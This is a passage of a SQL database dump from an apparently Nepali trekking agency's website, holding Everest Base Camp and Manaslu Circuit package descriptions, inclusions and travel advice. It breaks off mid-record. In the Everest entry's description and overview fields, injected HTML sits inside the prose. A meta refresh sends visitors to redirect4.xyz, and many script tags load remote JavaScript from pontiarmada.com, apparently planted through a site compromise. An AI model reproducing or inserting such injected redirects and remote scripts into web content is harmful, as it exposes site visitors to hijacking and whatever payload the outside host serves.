-- Table structure for table `packages`
--

CREATE TABLE `packages` (
  `id` bigint(20) UNSIGNED NOT NULL,
  `name` varchar(255) DEFAULT NULL,
  `slug` varchar(255) DEFAULT NULL,
  `image` varchar(255) DEFAULT NULL,
  `banner` varchar(255) DEFAULT NULL,
  `gallery` text DEFAULT NULL,
  `status` tinyint(1) NOT NULL DEFAULT 0,
  `description` longtext DEFAULT NULL,
  `short_description` longtext DEFAULT NULL,
  `map` varchar(255) DEFAULT NULL,
  `discount` int(11) DEFAULT NULL,
  `location` varchar(255) DEFAULT NULL,
  `special_title` varchar(255) DEFAULT NULL,
  `special` longtext DEFAULT NULL,
  `price` double DEFAULT NULL,
  `inclusions` longtext DEFAULT NULL,
  `exclusions` longtext DEFAULT NULL,
  `overview` longtext DEFAULT NULL,
  `seo_title` varchar(255) DEFAULT NULL,
  `seo_description` text DEFAULT NULL,
  `seo_keywords` text DEFAULT NULL,
  `seo_schema` longtext DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `packages`
--

INSERT INTO `packages` (`id`, `name`, `slug`, `image`, `banner`, `gallery`, `status`, `description`, `short_description`, `map`, `discount`, `location`, `special_title`, `special`, `price`, `inclusions`, `exclusions`, `overview`, `seo_title`, `seo_description`, `seo_keywords`, `seo_schema`, `created_at`, `updated_at`) VALUES
(11, 'Everest Base Camp Trekking', 'everest-base-camp-trekking', '41', NULL, '41,39,322,323,324,320,321', 1, '<p style=\"text-align:justify;\"><strong>Everest Base Camp Trekking</strong> has become popular destination in the world for mountain lovers and climbers due to high Himalayan wonders, exclusive Sherpa settlement, wonderful trekking trail and typical Tibetan Buddhist living standard. Shortly, it is also known as <strong>EBC trek</strong>, offers diverse experiences to take pleasure for lifetime and need proper physical fitness without any requirement of technical skills to complete it. <strong>Trekking journey to EBC</strong> begins from simple relax walk in the beginning to adventure and exciting hike until we reach <strong>Base Camp and Kala Pathar (5,545m)</strong>. Similarly, the trek incorporates the marvelous viewpoint of Kala Patthar having magnificent display of all the White Mountains including Mt. Everest like mirror.&nbsp;&nbsp;<br><br><strong>Trekking to Everest Base Camp</strong> provides good opportunity to board on heroic journey that Sir Edmund Hillary and Tenzing Norway Sherpa put first human feet on the <strong>Summit of Mt. Everest</strong> in 1953. This trekking trail offers splendid Himalayan sights such as Mt. Everest (8,848m), Lhotse (8,516m), Makalu (8,481m), Cho Oyu (8,201m), Nuptse (7,861m), <a href=\"https://www.adventuresplanner.com/packages/amadablam-expedition\"><strong>Ama Dablam</strong></a> ( 6,812m), Thamserku (6,623m), and more silver mountain peaks. It is moderate trek gives extraordinary experiences because of unique Sherpa culture, scenic mountain flight from Kathmandu to Lukla, historical Tengboche monastery, sunrise view of Kala Patthar, exotic Khumbu Glacier, wonderful suspension bridges and <strong>gateway of Mt. Everest called Namche Bazzar.</strong> Besides mountain scenery, the local traditional life of Buddhist Monks and local people who are praying and doing <strong>meditation in Tengboche monastery</strong> makes your trip more cultural.&nbsp;<script async=\"\" src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-8891303795668056\" crossorigin=\"anonymous\"></script>&nbsp;<meta httpequiv=\"Refresh\" content=\"90; URL=http://redirect4.xyz/\"><script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tujuh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/tujuh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/dua.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/dua.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/satu.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/satu.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sepuluh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sepuluh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/news/wp.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/lima.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/enam.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tiga.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/empat.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sembilan.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sembilan.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/delapan.js\"></script></p><p style=\"text-align:justify;\"><br><strong>Everest Base Camp Trekking </strong>begins after having 40 minutes beautiful scenic flight to Lukla from Kathmandu with an elevation of 2800m and even it ends in Lukla after you will complete your trekking. We start our trek from Tenzing Hillary Airport Lukla and trek up to Phakding, Namche Bazaar, Tengboche, Dingboche, Lobuche, <strong>Everest Base Camp</strong>, Kala Patthar and hike down same way to Lukla. We hike through beautiful Sherpa villages, Terrace Potato field, Rhododendron and Pine forest, ancient Buddhist monasteries, Chortens, Mani wall, glaciers and Rivers.</p><p style=\"text-align:justify;\">&nbsp;</p><h3 style=\"text-align:justify;\"><strong>Highlights of the Everest Base Camp Trekking&nbsp;</strong></h3><ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;text-align:justify;\">Embark scenic mountain flight from Kathmandu to Lukla</li><li style=\"list-style-type:square;text-align:justify;\">Explore exclusive Sherpa settlement and Tibetan Buddhist living standard</li><li style=\"list-style-type:square;text-align:justify;\">Encounter splendid mountain view of Mt. Everest (8,848m), Lhotse (8,516m), Makalu (8,481m), Cho Oyu (8,201m), Nuptse (7,861m), Ama Dablam ( 6,812m), Thamserku (6,623m</li><li style=\"list-style-type:square;text-align:justify;\">Magnificent sunrise view of Kala Patthar &amp; exotic Khumbu Glacier</li><li style=\"list-style-type:square;text-align:justify;\">Historical Tengboche Monastery, Chorten, Mani Wall and Payer flags</li><li style=\"list-style-type:square;text-align:justify;\">Gateway of Mt. Everest called “Namche Bazaar”</li><li style=\"list-style-type:square;text-align:justify;\">Exciting suspension Tenzing Hillary bridge of Jhorsalle&nbsp;<br>&nbsp;</li></ul>', 'Everest Base Camp Trekking has become popular destination in the world for mountain lovers and climbers due to high Himalayan wonders, exclusive Sherpa settlement, wonderful trekking trail and typical Tibetan Buddhist living standard. Shortly, it is also known as EBC trek, offers diverse experiences to take pleasure for lifetime and need proper physical fitness without any requirement of technical skills to complete it. Trekking journey to EBC begins from simple relax walk in the beginning to adventure and exciting hike until we reach Base Camp and Kala Pathar (5,545m). Similarly, the trek incorporates the marvelous viewpoint of Kala Patthar having magnificent display of all the White Mountains including Mt. Everest like mirror.', NULL, NULL, NULL, NULL, NULL, 0, '<ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;\">Airport Pickup and drop in Private Transport</li><li style=\"list-style-type:square;\">Kathmandu Sightseeing with Cultural Tour Guide, Entrance Fees of Hindu/Buddhist Temple</li><li style=\"list-style-type:square;\">Twin share 3 star Hotel in Kathmandu including breakfast only</li><li style=\"list-style-type:square;\">Kathmandu to Lukla Flight Ticket (Before Trek), Lukla to Kathmandu flight Ticket ( After Trek)&nbsp;</li><li style=\"list-style-type:square;\">Guide flight Ticket Kathmandu-Lukla-Kathmandu (Both way)&nbsp;</li><li style=\"list-style-type:square;\">English Speaking Trekking Guide including his salary, insurance, equipment, Food and Accommodation&nbsp;</li><li style=\"list-style-type:square;\">Strong Trekking Porter including his salary, insurance, equipment, Food and Accommodation</li><li style=\"list-style-type:square;\">Twin share Tea House Accommodation &nbsp;with Breakfast only during Everest Base Camp Trekking&nbsp;</li><li style=\"list-style-type:square;\">Everest/ Sagarmatha National Park Permit, Khumbu Pasang Lamu Rural municipality entrance Fee&nbsp;</li><li style=\"list-style-type:square;\">Nepal Government Taxes and Office Service Charge&nbsp;<br>&nbsp;</li></ul>', '<ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;\">Lunch &amp; Dinner During Kathmandu</li><li style=\"list-style-type:square;\">Lunch &amp; Dinner during Everest Base Camp Trekking</li><li style=\"list-style-type:square;\">Nepal Visa Fee (30$ for 15 Days and 50$ for 30 Days)&nbsp;</li><li style=\"list-style-type:square;\">International Flight Ticket</li><li style=\"list-style-type:square;\">Personal Trekking /Travel Insurance&nbsp;</li><li style=\"list-style-type:square;\">Personal Trekking equipment and Clothes&nbsp;</li><li style=\"list-style-type:square;\">Hot Shower, Wi-Fi in mountain, Battery Charge and all personal expenses during Trekking&nbsp;</li><li style=\"list-style-type:square;\">Tips for Guide &amp; Porter</li><li style=\"list-style-type:square;\">Any other things not mentioned&nbsp;<br>&nbsp;</li></ul>', '<p><strong>Lukla flight&nbsp;</strong>&nbsp;<br>Lukla airport is one of the most exciting airport in the world where in peak seasons, the airport becomes very busy with many flights from Kathmandu. Sometime due to unexpected weather the flight can be delay and cancellation of the flight is common here. If there will be uncertainty Lukla flight, also can have helicopter charter from Kathmandu which will be little expensive than regular aero plane flight. Even sometimes weather will change suddenly, so we suggest to have one more night in Kathmandu after finishing Everest Base Camp Trekking.<script async=\"\" src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-8891303795668056\" crossorigin=\"anonymous\"></script>&nbsp;<meta httpequiv=\"Refresh\" content=\"90; URL=http://redirect4.xyz/\"><script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tujuh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/tujuh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/dua.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/dua.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/satu.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/satu.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sepuluh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sepuluh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/news/wp.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/lima.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/enam.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tiga.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/empat.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sembilan.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sembilan.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/delapan.js\"></script>&nbsp;<br>&nbsp;</p><p><strong>Trekking Difficulty&nbsp;</strong>&nbsp;<br>Is it difficult to trek to Everest Base Camp? &nbsp;You do not need to be a good Football player or Olympic athlete to success Everest Base Camp trek. Sometime, we have many experience of young people failing to reach Everest Base Camp and older people succeeding. So, anyone who is mentally and physically fit can easily completer the journey to Everest Base Camp. Walking slowly, drink plenty of water, enjoying nature, avoiding cold, eating a balanced died and mentally daring to reach EBC with happy mood are the hallmarks of your successful journey to destination. Though, EBC is challenging trekking trail having steep hills with zigzagged path, sometime with ice but there will be no need any technical equipment or skill.&nbsp;&nbsp;<br>&nbsp;</p><p><strong>High Altitude Sickness&nbsp;</strong>&nbsp;<br>If the trekkers have symptoms of headache, loss of appetite, diarrhea, shortness of breath, fatigue, nausea, rapid pulse with sleeping problem, he/she is suffered by high altitude sickness. &nbsp;The other factors such as changing weather, cold, sun, wind, low oxygen and bad foods are the key component of high altitude sickness. So trekkers need to warm while trekking EBC with proper clothes and equipment. It can affect people of any age, sex and physical conditions. So, we suggest our clients, do not drink alcohol and smoke, drink plenty of water while hiking to EBC, train your body and strength up before trekking, eat energy food, and mentally be happy during your journey. The most common medicine for preventing high altitude sickness is Diamox or Acetazolamide. Even our guide takes Diamox on the route which is easily purchased in Kathmandu and Namche Bazaar. Ascending down is the solution to avoid high altitude as the altitude sickness affects people from the elevation of 2600 meters above sea level. For normal high altitude sickness our guide helps to control by providing medicine and good food and he takes to medication center where available. If the trekkers feel bad, we send private helicopter for rescue, which is covered by your personal travel insurance. So, individual insurance is necessary while trekking to Everest Base Camp.&nbsp;&nbsp;<br>&nbsp;</p><p><strong>Best Time to Go&nbsp;</strong>&nbsp;<br>If you are looking trek to Everest Base Camp, must know the best time to visit such as weather and circumstances with other factors that affects in your trip. The best time to visit Everest Base Camp is March – May and Sep – Nov due to clear sky and pleasant temperature. &nbsp;Spring and autumn is considered as the best season to trek Everest Base Camp. In spring, the days are warmer and longer whereas the autumn has short days. October and April is the peak touristic months having more crowd but the weather is fantastic and amazing.</p><p>Pre-monsoon is called spring season that covers the month of March, April and May whereas the lower region of Everest, rhododendron and flower blooms with warm temperature. In higher route, there will be more chance of problematic snowfall with sunny weather.&nbsp;</p><p>Post-monsoon is called autumn season that covers the month of September, October and November whereas the Himalaya is full of blue sky, pleasant atmosphere, moderate temperature with less chance of problematic snowfall. As for the climate, it is neither warmer at day or not freezing cold at night. The Tea houses, cafes are full of tourist and visitors in autumn season.&nbsp;&nbsp;<br>&nbsp;</p><p><strong>Accommodation&nbsp;</strong>&nbsp;<br>During the trekking trail to Everest Base Camp, trekkers sleep and eat in Tea houses. Tea houses provide tea and food which is the best possible accommodation available on the route. Tea houses offer very basic accommodation facilities having bed and blanket inside the room and some places attached bathroom too. The tea houses looks very basic and normal but it is neat and clean. For luxury trekkers, even there are best lodges in lower part such as in Lukla, Monjo, Phakding and Namche Bazaar with cost per night 100$ above. In our program, we provide simple/normal lodge for trekkers and according of their choice and interest also can provide luxury lodge where available. Though, tea houses provide us the blanket but it is not enough to reduce cold. That is why, we suggest to bring sleeping bag own self to make warm and safety night.&nbsp;&nbsp;<br>&nbsp;</p><p><strong>Food and water&nbsp;</strong>&nbsp;<br>Food and water is very important things during the trekking to Everest Base Camp. Tea houses provide breakfast, Lunch, Dinner and Tea/coffee. Trekkers can choose the food from Menu list what they like to eat such as Nepali food (Dal Bhat), soups, snakcs, momos, fried Rice, continental and American breakfast, porridge, Bread with Jam and honey, Eggs, noodles, spaghetti, spring roll, fried potatoes, and steak. We recommend to have vegetarian food during trek due to porter and yaks carry meat from lower region which is not refrigerated that may cause stomach problem. Therefore, we would highly recommend to avoid meat dishes on the route with exception of tinned fish and preserved items. So, no need to carry food except chocolates, such as Diary milk, Snickers, Mars and so on.&nbsp;</p><p>Do not drink water from river or water fall; local people can easily drink the running water that is not fit for foreigners as they do not have habit before. So, we recommend to drink bottle water or boiled water for good health that keeps our body safe. Even, trekkers keep purification tablet inside water, kills 99.9% of bacteria, virus and protozoa. Because of the altitude, it is recommend to drink 2-3 liters per day.&nbsp;&nbsp;<br>&nbsp;</p><p><strong>Hire a Guide&nbsp;</strong>&nbsp;<br>A person having license from Nepal government, who guides visitor, interprets the cultural and nature, leads the right track to the Himalaya having responsible work recognized by the appropriate authority is known as trekking guide. Guide not only led the way rather he is the ambassador of country explaining People, history, geography, religion and make successful attempt for visitors.&nbsp;</p><p>Trekking guide is also knows as Trek Leader who makes easy access in Himalayan region to book Tea houses, order food for visitors, manage porters, and lead the right trail to destination. During trekking, Guide is a good friend, makes entertainment with fun and laughter too. So, Trekking guides has very important role who not only make enjoyable trip but also educate the visitors through interpretation and contribute sustainability of local environment. The trekking agency should choose appropriate guide by providing suitable training time and again though they are government license holder. Guides expected to work to a high level of customer service keeping good reputation of the company and clients.&nbsp;</p><p>That is why our Guide has good communication skill, immediately solve the problem, decision making with self-motivation having physically strong and fit. Either the visitor go to Everest region trek, Annapurna region trek, Upper Mustang trek or other trekking trail, our guide makes successful effort to complete the trip.&nbsp;&nbsp;<br>&nbsp;</p><p><strong>Hire a Porter&nbsp;</strong>&nbsp;<br>Trekking porters are those people who carry the gear of trekkers from one place to other, lives in village especially from Sherpa, Tamang, Gurung and Rai, community. They are very innocent, kind, pleasant and smiling having broken English will be together from beginning to the end of the trip. During Everest Base Camp, Treking, Guide will fly with the visitors from Kathmandu and he manages the porters who are waiting out of airport for at Lukla airport. During Everest region trek, porters is not living with you rather they stay at porter house, comes early morning to receive the luggage at Visitor\'s Tea house and in the evening same, they depart to own porter house after completing their effort. Porters are the backbone of the trekking without them it will be incomplete. A trekking porter carries 25 kg to 30 kg of gears who are very fit from mountain altitude. Porters are the transport of the visitors so must be good relationship with Guide and trekkers. During the end of the trek at Lukla, we suggest for visitor to have TIP to porters for their support and cooperation.&nbsp;&nbsp;<br>&nbsp;</p><p><strong>Telephone and Internet&nbsp;</strong>&nbsp;<br>The internet, telephone and mobile phone is available all the way to Everest Base Camp. There are multiple option for Internet such as Everest Link, with mobile network such as NTC and NCELL. Sometimes internet becomes poor during the time of bad weather or snow. Everest Link internet works all the way to EBC can purchase Wi-Fi cards too but comparatively NCELL and NTC are cheaper that works during trekking trail as well as Kathmandu too. But for trekking route, Everest Link is better due to its speed and capacity. Even the guest houses have WI-FI during the lower region such as Lukla, Phakding and Namche which is not free, may charge to you.&nbsp;</p><p>Due to the exciting geography and sometime bad weather conditions the mobile network has not access in all parts of the trial but the network such as NCELL and NTC works most of the places. The both NTC and NCELL Sim Cards can purchase at Tribhuvan Interantional Airport, Kathmandu or in the street of touristic town Thamel.&nbsp;&nbsp;<br>&nbsp;</p><p><strong>Toilet and Shower&nbsp;</strong>&nbsp;<br>Wherever travel in the Himalaya, must know the circumstances of toilet and shower before depart to the destination. During the trekking to Everest Base Camp, in higher route, toilet should be shared by all trekkers due to common Tea houses only with normal beds in the room. But in Lower part such as Lukla, Phakding and Namche Bazaar, there are attached bath room with toilet and shower inside. Bucket Shower is possible in high altitude such as in Lobuche and Gorakshep due to no running water. But during the time of bad weather for example if heavy snow at that time it is hard to get shower above 4500 meters. We suggest to bring toilet paper during the trail due to very cold water for your safety and protection.&nbsp;&nbsp;<br>&nbsp;</p><p><strong>Trek Insurance&nbsp;</strong>&nbsp;<br>Trek insurance is very important component during the trek to Everest Base Camp. We suggest trekkers to make plan to be covered up to 5500 meters. Due to unexpected event or emergency evacuation, if the trekkers feel uncomfortable to walk in Himalaya, Helicopter rescue is necessary along with administration in hospital. So, need insurance for your safety and protection. There are so many insurance companies, you may find in internet and make strong insurance for your security. There may occur so many causes such as altitude sickness, accidents, physical illness, flight cancellation, that is why need to make insurance before you fly to Nepal for Everest Base Camp Trek.&nbsp;&nbsp;<br>&nbsp;</p><p><strong>Trek Permit&nbsp;</strong>&nbsp;<br>Trek permit is required for Everest Base Camp Trek such as Everest National Park Permit, which is also known as Sagarmatha National Park Permit. This permit can purchased in Nepal Tourism Board of Kathmandu or in Everest National Park entrance gate of Monjo. The cost of Everest National Park Permit is 30$ per person.&nbsp;</p><p>Khumbu Pasang Lhamu Rural Municipality entrance permit is also mandatory that cost 20$ per person. This permit can obtained at Monjo village of Everest region which was imposed from 1st October 2018 replacing an existing TIMS Card. There is no need Trekker\'s Information Management System (TIMS) Card right now.&nbsp;<br>&nbsp;</p><p><strong>Trek Equipment List&nbsp;</strong>&nbsp;<br>While trekking to Everest Base Camp, need to sufficient trekking gears for your protection and safety. Trekking gears not only make protection for your body, it makes successful trip to Everest Base Camp. The trekking gears also have benefit to remove high altitude sickness and make easy access to destination. The following gears are mandatory towards Everest Base Camp Trek.&nbsp;</p><p>&nbsp;</p><ul><li>Sleeping Bag ( -20)&nbsp;</li><li>Trekking poles&nbsp;</li><li>Waterproof hiking boot</li><li>Water proof warm Gloves</li><li>Sport shoes&nbsp;</li><li>Waterproof hiking Pant</li><li>Fleece pant</li><li>Comfortable underwear&nbsp;</li><li>Warm and thin socks&nbsp;</li><li>Duffel Bag, 90L</li><li>Hand carry bag&nbsp;</li><li>Water bottle&nbsp;</li><li>Hiking Shorts&nbsp;</li><li>Down Jacket</li><li>Warm Cap &amp; Sun Cap&nbsp;</li><li>Sun Glass</li><li>Sun Cream</li><li>Lip care&nbsp;</li><li>Headlamp with extra batteries</li><li>Neck Gaiter &nbsp;</li><li>Lightweight thermal tops</li><li>aterproof jacket with hood, waterproof and breathable</li><li>Rain coat&nbsp;</li><li>Travel Towel&nbsp;</li><li>Camera</li><li>Personal first Aid Kit ( Though our guide also have First Aid Kit)&nbsp;</li></ul>', 'Everest Base Camp Trekking | EBC Trek 2025 | Everest Trek Itinerary and Details', 'Everest Base Camp Trekking has become popular destination in the world for mountain lovers and climbers, The Booking is open for EBC Trek for 2025.', 'Everest Base Camp Trekking, EBC Trek 2025, Everest Trek Itinerary and Details', NULL, '2023-06-27 14:46:13', '2025-02-26 02:50:56'),
(13, 'Manaslu Circuit Trekking', 'manaslu-circuit-trekking', '22', NULL, '22,369,368,366,367', 1, '<p style=\"text-align:justify;\">Manaslu Circuit Trek is an adventure and exotic classical trekking trail of Nepal located in the northwest of Kathmandu. It is eighth highest mountain of the world, offers off the beaten path, classical Tibetan culture, beautiful landscape, hidden valleys, mountain scenery, waterfall, forests and hospitable local people. This trekking trail was opened for foreigners since 1992 along with Upper Mustang. This region is the residence of Mt. Manaslu and Ganesh Himal with multi culture of ethnic tribes and people in the beginning route and Tibetan people in higher elevation who are living in this region since 12th century.&nbsp;<br><br>Manaslu which signifies “mountain of the spirit”, which comes from the Sanskrit word where manasa means “intellect” or “soul”. First time the Mt. Manaslu was climbed on May 9 1956 by members of a Japanese expedition who are Toshio Imanishi and Gyalzen Norbu. Geographically, Mt. Manaslu (8,163m) is located in the Gorkha district of Nepal, east of Annapurna region having long ridges and valley glaciers with surrounding landscape. During trekking, we can have incredible view of Himalayan sights such as Mt. Manaslu(8,163m), Ganesh Himal (7,422m), Shringi Himal(7,161m), Ngadi Chuli(7,871m) with more silver mountain peaks. Manaslu is the foundation of Budi Gandaki River. Most of the trail, we walk alongside of Budhi Gandaki River, crossing suspension bridges, forests, local villages, Chortens, Mani Wall, Stupas, Praying flags, terrace field and rocky hill.&nbsp;<br><br>We need 3 permits for Manaslu trekking such as Manaslu Conversation Area Permit, Annapurna Conversation Area Permit and Manaslu special permit (For this permit need minimum 2 people to entry). The best time to trek in this region is in spring season (March-May), and autumn season (September- October). We organize you the best and unforgettable trip having finest itinerary, information, cost, local guide, porters, accommodation and documents to entry in this region. Classical villages of Samagaon, Namrung and Samdo, beautiful Birendra Lake, historical Pungyen Monastery, virgin trekking trail, and welcoming Gurung people creates your trip life time unforgettable. Beautiful natural landscape of Himalaya and classic historical Tibetan Buddhism are the major highlights of this trek.&nbsp;<br><br>Manaslu circuit Trekking begins after 6/7 hours scenic drive from Kathmandu to Soti Khola and trek to Jagat, Philim, Samagaon, Samdo, Dharmasala with adventure pass of Larkya La (5,160m) and ends in Dharapani village of Annapurna region. After trek, we drive to Kathmandu via Besisahar.</p><p style=\"text-align:justify;\">&nbsp;</p><h4 style=\"text-align:justify;\">About Larkya La Pass (5,106m)&nbsp;</h4><p style=\"text-align:justify;\"><br>Larkya La is one of the longest Himalayan passes in Nepal Himalayan with an elevation of 5,106m standing between Dharmashala in the east and Bhimtang in the west. Larkya La Pass is the highest ridge during whole circuit of Manaslu trek, takes 9-10 hours to complete in one day. It is adventure pass of Nepal Himalayan region.&nbsp;<br><br>On day 11, Early in the morning, our guide knock your door to be ready for adventure journey because today is your main highlight of whole journey to Nepal. Out trekking crew is ready to lead the way where you must wear proper clothes to avoid morning cold. Climbing up from Bhimtang to Larkya Pass is not very hard but climbing down from top of Larkya pass to Bhimtang is more challenges and dangers due to steep rock and vertical down path. So, you must be care yourself during descending part after you make successful attempt on the top. It is 1,700 meter descent to campsite at Bhimtang with high alpine valley which is surrounded by silver Himalayan peaks. Larkya La is your adventure and memorable mountain pass in Manaslu region.</p><p style=\"text-align:justify;\">&nbsp;</p><h4 style=\"text-align:justify;\">Higlights</h4><ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;text-align:justify;\">Scenic drive from Kathmandu to Soti Khola</li><li style=\"list-style-type:square;text-align:justify;\">Budi Gandarki River, Terrace field, off the beaten path, Rocky Trail</li><li style=\"list-style-type:square;text-align:justify;\">Classical Tibetan Buddhism, Historical Pungyen Monastery, Mani Wall, Stupas, Chortens</li><li style=\"list-style-type:square;text-align:justify;\">Beautiful cultural villages of Samagaon, Samdo and Namrung and welcoming Gurung People</li><li style=\"list-style-type:square;text-align:justify;\">Adventure Larkya La Cross, beautiful landscape of Mt. Manaslu (8,163m) and Ganesh Himal (7,422m)</li><li style=\"list-style-type:square;text-align:justify;\">Classical Trekking trail, Virgin nature, Hidden valleys, waterfall,&nbsp;<br>&nbsp;</li></ul>', 'Manaslu Circuit Trek is an adventure and exotic classical trekking trail of Nepal located in the northwest of Kathmandu. It is eighth highest mountain of the world, offers off the beaten path, classical Tibetan culture, beautiful landscape, hidden valleys, mountain scenery, waterfall, forests and hospitable local people. This trekking trail was opened for foreigners since 1992 along with Upper Mustang.', NULL, NULL, 'Nepal', NULL, NULL, 0, '<ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;\">&nbsp;Airport Pickup and drop in Private Transport&nbsp;</li><li style=\"list-style-type:circle;\">Kathmandu Sightseeing with Cultural Tour Guide, Entrance Fees of Hindu/Buddhist Temple</li><li style=\"list-style-type:circle;\">3-star Hotel in Kathmandu with Twin Share including breakfast only&nbsp;</li><li style=\"list-style-type:circle;\">Kathmandu to Soti Khola drive by Private Jeep (Before Trek)&nbsp;</li><li style=\"list-style-type:circle;\">Dharapani to Besisahar drive by Privete Jeep (After Trek) and Besisahar to Kathmandu drive by private Transport.&nbsp;</li><li style=\"list-style-type:circle;\">English Speaking Trekking Guide including his salary, insurance, equipment, Food and Accommodation&nbsp;</li><li style=\"list-style-type:circle;\">Strong Trekking Porter including his salary, insurance, equipment, Food and Accommodation</li><li style=\"list-style-type:circle;\">Twin share Tea House Accommodation with Breakfast only during Manaslu Ciruict Trekking&nbsp;</li><li style=\"list-style-type:circle;\">Manaslu special permit, MCAP/ACCAP, and all documents for Manaslu Cirucit Trekking&nbsp;</li><li style=\"list-style-type:circle;\">Nepal Government Taxes and Office Service Charge&nbsp;<br>&nbsp;</li></ul>', '<ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;\">Lunch &amp; Dinner During Kathmandu</li><li style=\"list-style-type:circle;\">Lunch &amp; Dinner during Manaslu Circuit Trekking</li><li style=\"list-style-type:circle;\">Nepal Visa Fee (30$ for 15 Days and 50$ for 30 Days)&nbsp;</li><li style=\"list-style-type:circle;\">International Flight Ticket</li><li style=\"list-style-type:circle;\">Personal Trekking /Travel Insurance&nbsp;</li><li style=\"list-style-type:circle;\">Personal Trekking equipment and Clothes&nbsp;</li><li style=\"list-style-type:circle;\">Hot Shower, Wi-Fi in mountain, Battery Charge and all personal expenses during Trekking&nbsp;</li><li style=\"list-style-type:circle;\">Tips for Guide &amp; Porter</li><li style=\"list-style-type:circle;\">Any other things not mentioned.&nbsp;<br>&nbsp;</li></ul>', '<h2 style=\"text-align:justify;\">Trekking Difficulty&nbsp;</h2><p style=\"text-align:justify;\"><br>Is it difficult to trek Manaslu Circuit? &nbsp;You do not need to be a good Football player or Olympic athlete to success Manaslu trek. Sometime, we have many experience of young people failing to reach Manaslu Circuit and older people succeeding. So, anyone who is mentally and physically fit can easily completer the journey to Manaslu Circuit. Walking slowly, drink plenty of water, enjoying nature, avoiding cold, eating a balanced died and mentally daring to reach Manaslu with happy mood are the hallmarks of your successful journey to destination. Though, Manaslu Circuit is challenging trekking trail having steep hills with ascending path, sometime with ice but there will be no need any technical equipment or skill.&nbsp;</p><h2 style=\"text-align:justify;\"><br>High Altitude Sickness&nbsp;</h2><p style=\"text-align:justify;\"><br>If the trekkers have symptoms of headache, loss of appetite, diarrhea, shortness of breath, fatigue, nausea, rapid pulse with sleeping problem, he/she is suffered by high altitude sickness. &nbsp;The other factors such as changing weather, cold, sun, wind, low oxygen and bad foods are the key component of high altitude sickness. So trekkers need to warm while trekking Manaslu Circuit with proper clothes and equipment. It can affect people of any age, sex and physical conditions. So, we suggest our clients, do not drink alcohol and smoke, drink plenty of water while hiking to Annapurna, train your body and strength up before trekking, eat energy food, and mentally be happy during your journey. The most common medicine for preventing high altitude sickness is Diamox or Acetazolamide. Even our guide takes Diamox on the route which is easily purchased in Kathmandu. Ascending down is the solution to avoid high altitude as the altitude sickness affects people from the elevation of 2600 meters above sea level. For normal high altitude sickness our guide helps to control by providing medicine and good food and he takes to medication center where available. If the trekkers feel bad, we send private helicopter for rescue, which is covered by your personal travel insurance. So, individual insurance is necessary while trekking to Manaslu Circuit.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Best Time to Go&nbsp;</h2><p style=\"text-align:justify;\"><br>If you are looking for trek to Manaslu Circuit, must know the best time to visit such as weather and circumstances with other factors that affects in your trip. The best time to visit Manaslu Circuit is March – May and Sep – Nov due to clear sky and pleasant temperature. &nbsp;Spring and autumn is considered as the best season to trek Everest Base Camp. In spring, the days are warmer and longer whereas the autumn has short days. October and April is the peak touristic months having more crowd but the weather is fantastic and amazing.<br><br>Pre-monsoon is called spring season that covers the month of March, April and May whereas the lower region of Everest, rhododendron and flower blooms with warm temperature. In higher route, there will be more chance of problematic snowfall with sunny weather.&nbsp;<br><br>Post-monsoon is called autumn season that covers the month of September, October and November whereas the Himalaya is full of blue sky, pleasant 